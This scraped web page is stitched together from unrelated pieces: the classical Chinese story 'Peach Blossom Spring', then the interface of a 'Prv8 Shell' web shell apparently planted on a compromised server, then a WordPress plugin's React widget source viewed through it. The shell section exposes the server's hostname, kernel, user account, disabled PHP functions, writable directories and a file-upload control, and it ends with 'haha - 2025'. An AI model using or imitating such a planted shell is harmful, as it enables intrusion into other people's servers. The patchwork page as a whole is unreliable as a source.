晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/wpmudev-updates/assets/src/js/widget/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/wpmudev-updates/assets/src/js/widget/widget-body.jsx
/* global wdp_analytics_ajax, wdpI18n */
import React from 'react';
import PagesRow from './views/rows/pages'
import SitesRow from './views/rows/sites'
import eventBus from './helpers/event-bus'
import ajaxRequest from './helpers/request'
import AuthorsRow from './views/rows/authors'
import ContentList from './views/content-list'
import HeaderTabs from './components/header-tabs'
import ContentOverview from './views/content-overview'

export default class WidgetBody extends React.Component {
	constructor(props) {
		super(props);
		this.state = {
			overall: wdp_analytics_ajax.overall_data,
			overview: wdp_analytics_ajax.current_data,
			pages: wdp_analytics_ajax.pages,
			authors: wdp_analytics_ajax.authors,
			sites: wdp_analytics_ajax.sites,
			autocomplete: wdp_analytics_ajax.autocomplete,
			currentTab: 'overview',
			currentPeriod: 7,
			currentFilter: '',
			currentFilterType: '',
			periodLoading: false,
			period: {
				current: 7,
				loading: false
			}
		}
	}

	componentDidMount() {
		/**
		 * Handle autocomplete clear event.
		 *
		 * @param {object} data Data.
		 * @since 4.11.4
		 */
		eventBus.on('AnalyticsFilterClear', (data) =>
			this.setState({
				overview: this.state.overall,
				currentFilter: '',
				currentFilterType: '',
			})
		);

		/**
		 * Handle period change event.
		 *
		 * @param {string} period
		 * @since 4.11.4
		 */
		eventBus.on('AnalyticsPeriodChange', (data) => this.getPeriodStats(data.period));

		/**
		 * Handle analytics filter change.
		 *
		 * @param {object} data Data.
		 * @since 4.11.4
		 */
		eventBus.on('AnalyticsApplyFilter', (data) => {
				if ('autocomplete' === data.type) {
					this.setState({
						overview: data.stats,
						currentFilter: data.filter.filter,
						currentFilterType: data.filter.type
					})
				} else {
					this.setState({
						currentTab: 'overview',
						overview: data.stats,
						currentFilter: data.filter.filter,
						currentFilterType: data.filter.type
					})
				}
			}
		);
	}

	componentWillUnmount() {
		// Remove custom events.
		eventBus.remove('AnalyticsPeriodChange');
		eventBus.remove('AnalyticsApplyFilter');
		eventBus.remove('AnalyticsFilterClear');
	}

	/**
	 * Get overall stats for period changes.
	 *
	 * Make sure to update all stats. Keep all active
	 * filters.
	 *
	 * @param {int} period Period.
	 * @since 4.11.4
	 */
	async getPeriodStats(period) {
		this.setState({
			period: {
				...this.state.period,
				loading: true
			}
		})

		await ajaxRequest(
			'wdp-analytics',
			{
				type: 'full',
				range: period,
				filter_value: this.state.currentFilter,
				filter_type: this.state.currentFilterType
			}
		).then(response => {
			if (response.success) {
				this.setState({
					period: {
						...this.state.period,
						current: period
					},
					overview: response.data.current_data,
					overall: response.data.overall_data,
					pages: response.data.pages,
					authors: response.data.authors,
					sites: response.data.sites,
					autocomplete: response.data.autocomplete
				})
			}
		});

		this.setState({
			period: {
				...this.state.period,
				loading: false
			}
		})
	}

	/**
	 * Get available tabs for header.
	 *
	 * @since 4.11.5
	 * @return {{overview: string, pages: string, sites: string, authors: string}}
	 */
	getTabs() {
		let items = wdpI18n.tabs;

		Object.keys(items).forEach((tab) => {
			if ('overview' !== tab && this.state[tab].length <= 0) {
				delete items[tab]
			}
		})

		return items;
	}

	render() {
		return (
			<>
				<HeaderTabs
					tabs={this.getTabs()}
					current={this.state.currentTab}
					onChange={(tab) => this.setState({
						currentTab: tab
					})}
				/>

				<div
					className="wpmudui-analytics-content"
					data-panes
				>
					<ContentOverview
						metrics={wdpI18n.metrics}
						data={this.state.overview}
						currentTab={this.state.currentTab}
						autocomplete={this.state.autocomplete}
						period={this.state.period}
						isFiltered={this.state.currentFilter !== ''}
						filterType={this.state.currentFilterType}
					/>
					{this.state.pages.length > 0 &&
					<ContentList
						type="pages"
						title={wdpI18n.labels.page_post}
						metrics={wdpI18n.metrics}
						list={this.state.pages}
						active={'pages' === this.state.currentTab}
						row={PagesRow}
						period={this.state.period}
					/>
					}
					{this.state.authors.length > 0 &&
					<ContentList
						type="authors"
						title={wdpI18n.labels.author}
						metrics={wdpI18n.metrics}
						list={this.state.authors}
						active={'authors' === this.state.currentTab}
						row={AuthorsRow}
						period={this.state.period}
					/>}
					{this.state.sites.length > 0 &&
					<ContentList
						type="sites"
						title={wdpI18n.labels.site_domain}
						metrics={wdpI18n.metrics}
						list={this.state.sites}
						active={'sites' === this.state.currentTab}
						row={SitesRow}
						period={this.state.period}
					/>
					}
				</div>
			</>
		);
	}
}

haha - 2025